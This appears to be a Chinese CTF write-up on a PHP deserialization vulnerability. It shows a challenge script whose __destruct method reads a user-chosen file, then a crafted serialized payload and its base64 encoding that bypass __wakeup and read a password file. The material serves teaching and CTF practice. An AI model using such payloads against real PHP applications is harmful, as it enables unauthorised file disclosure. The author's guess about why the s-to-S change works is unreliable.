PHP反序列化漏洞-CTF实例
PHP反序列化漏洞-CTF
PHP反序列化漏洞-FIRST
PHP反序列化漏洞-SECOND
1.CTF实例
CTF实例源码:
strchr() 函数: 搜索字符串在另一字符串中的第一次出现,返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 FALSE。
dirname(__FILE__)
函数:表示当前文件绝对路径
//10.php
<?php error_reporting(0); //关闭错误报告class happy{ protected $file='index.php'; public function __construct($file){ $this->file=$file; } function __destruct(){ if(!empty($this->file)){if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作elsedie('Wrong filename.');}} function __wakeup(){ $this->file='index.php'; } public function __toString(){return '';}}if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); }
?>
<!--password in 123.php--> //密码在123.php文件中
分析:
isset()函数,当()中的值为空返回false,也就是说们通过GET传参,为空时显示index.php文件。
if (!isset($_GET['file']))
{show_source('index.php');
}
构造payload
O:5:"happy":2:{s:7:"\00*\00file";s:7:"123.php";}
base64加密后:
Tzo1OiJoYXBweSI6Mjp7czo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9
我们发现此时我们构造的payload并没有生效,输出的为index.php页面。
对于此处,我搜查了一些资料,发现是对于保护变量进行外部修改时,属性标识符的问题,也就是s的问题,我们将s->S后,成功回显123.php
在PHP序列化格式中,不存在S与s标识有什么区别,所以我分析,应该为base64编码中对这块有什么特殊的规定,我暂时没有找到,希望大家看到此处时,明白其原由的请评论给我,谢谢
O:5:"happy":2:{S:7:"\00*\00file";s:7:"123.php";}
base64加密后
Tzo1OiJoYXBweSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9
成功打开123.php文件,漏洞利用成功…
PHP反序列化漏洞-CTF实例相关推荐
- Java反序列化漏洞及实例详解
目录 一.序列化和反序列化 序列化 用途 二.Java反序列化漏洞 数据出现 函数接口 漏洞发现 漏洞利用 三.Java序列化反序列化演示 四.靶场演示 一.序列化和反序列化 序列化 把 Java 对 ...
- Shiro反序列化漏洞利用笔记
Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Sec ...
- ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞
一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...
- ctf php沙箱,详谈CTF中常出现的PHP反序列化漏洞
0x01什么是PHP序列化与反序列化 PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构. 比方来说, ...
- 从一道CTF题学习PHP反序列化漏洞
一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...
- 实战渗透-Shiro反序列化漏洞实例
0x01.前言 这是一次授权的渗透测试,技术含量不高,但我始终相信,每一次的积累,都是为了成就更好的自己,所以过程简洁,记录下每个知识点.对渗透而言,我更喜欢实战的体验感,那种喜悦和知识的获取感,永远 ...
- PHP反序列化漏洞总结
一. 基础知识 1.什么是反序列化漏洞: 程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较 ...
- php initlize,PHP 反序列化漏洞入门学习笔记
参考文章: 序列化和反序列化的概念 序列化就是将 对象.string.数组array.变量 转换成具有一定格式的字符串. 具体可以看 CTF PHP反序列化,下图摘自此篇文章 其实每个字符对应的含义都 ...
- CTF-PHP反序列化漏洞1-基础知识
作者:Eason_LYC 悲观者预言失败,十言九中. 乐观者创造奇迹,一次即可. 一个人的价值,在于他所拥有的.可以不学无术,但不能一无所有! 技术领域:WEB安全.网络攻防 关注WEB安全.网络攻防 ...
最新文章
- 训练Rainbow算法需要1425个GPU Day?谷歌说强化学习可以降低计算成本
- 第七章:暴力求解法。第二部分
- 养心灵,才能美容颜,拥有好日子(图)
- 安装虚拟环境virtualenv与virtualenvwrapper在centos7系统上
- 高级应用-路由协议配置
- 防伪拉线 CCD 纠偏控制器
- linux系统时间分区的设置方法分享
- JanusGraph安装和配置教程
- 烽火服务器查询服务器型号,烽火服务器应该起的进程
- html设置form居中,HTML中的表单Form实现居中效果
- html5简单拼图游戏,HTML5拼图游戏
- 【067】Color Hunter-用图片搜索配色方案
- DRAG DROP
- IAR中使用IELFTOOL进行软件代码checksum的生成和添加
- 画世界怎么用光影_怎么绘制光影?插画人物光感的塑造教程
- 19. OP-TEE中TA与CA执行流程详解-------软件架构篇
- MySQL对 DROP TABLE 处理过程(转自老金)
- 如何保护SSL证书的私钥安全?
- Unity面试题 每日5题 06
- F值(F-measure),准确率,召回率计算方法